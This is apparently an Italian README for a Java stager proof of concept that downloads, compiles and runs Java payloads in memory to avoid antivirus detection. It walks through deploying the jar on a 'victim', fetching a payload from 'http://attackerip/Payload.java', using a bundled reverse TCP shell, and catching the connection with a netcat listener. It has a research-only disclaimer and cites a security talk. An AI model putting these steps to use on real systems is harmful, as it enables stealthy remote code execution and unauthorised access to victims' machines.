
Uno Stager Java PoC che può scaricare, compilare ed eseguire un file Java in memoria.
Un PoC Java Stager che può scaricare, compilare ed eseguire un file Java in memoria.
Questo è solo a scopo di ricerca, non utilizzarlo dove non sei autorizzato.
Questo è basato sul lavoro di James Williams dal suo talk "Next Gen AV vs My Shitty Code" disponibile qui:
https://www.youtube.com/watch?v=247m2dwLlO4&feature=youtu.be
Le parti chiave del talk per me sono:
Il suo esempio è in .net, ma nel talk ha suggerito che Java sarebbe in grado di utilizzare le stesse tecniche. Ho implementato un PoC grezzo che credo corrisponda alle tecniche sopra descritte.
L'output in NetBeans includeva una riga come questa:
Building jar: C:\Users\cornerpirate\Documents\NetBeansProjects\java-stager\target\JavaStager-0.1-initial.jar
Per lavorare sulla tua vittima devi caricare il file "JavaStager*.jar" e la cartella "lib" contenente Janino dalla cartella "target".
Il seguente comando eseguirà lo stager:
java -jar JavaStager-0.1-initial.jar
Ti verrà mostrato l'utilizzo come mostrato:
Proper Usage is: java -jar JavaStager-0.1-initial.jar <url>
L'"url" è l'unico parametro passato allo Stager. Un esempio di utilizzo sarebbe:
java -jar JavaStager-0.1-initial.jar http://attackerip/Payload.java
Il tuo payload deve essere in un file chiamato "Payload.java" e il tuo codice exploit deve essere in un metodo statico chiamato "Run". Il seguente mostra il template se vuoi scriverne uno tuo:
public class Payload {
public static void Run() {
// Your code here
}
}
Ho fornito un esempio di payload Reverse TCP nel file "TCPReverseShell.java". Per evitare conflitti di nomi, questo non si chiama "Payload.java" e il nome della classe è sbagliato. Il commento nell'intestazione di "TCPReverseShell.java" spiega come modificarlo per farlo funzionare.
Dovrai ospitare il tuo file "Payload.java" su un server HTTP. Puoi usare Apache se vuoi o semplici servizi HTTP/HTTPS in Python2 e Python3 come da mio blog:
https://cornerpirate.com/2016/12/16/simple-http-or-https-servers/
L'attaccante dovrà avviare un listener netcat per catturare la connessione di ritorno usando la tecnica standard nc -lvp 8044.
Post del blog che spiega come funziona tutto:
https://cornerpirate.com/2018/08/06/java-stager-hide-from-av-in-memory/
Video che mostra come funzionava in pratica: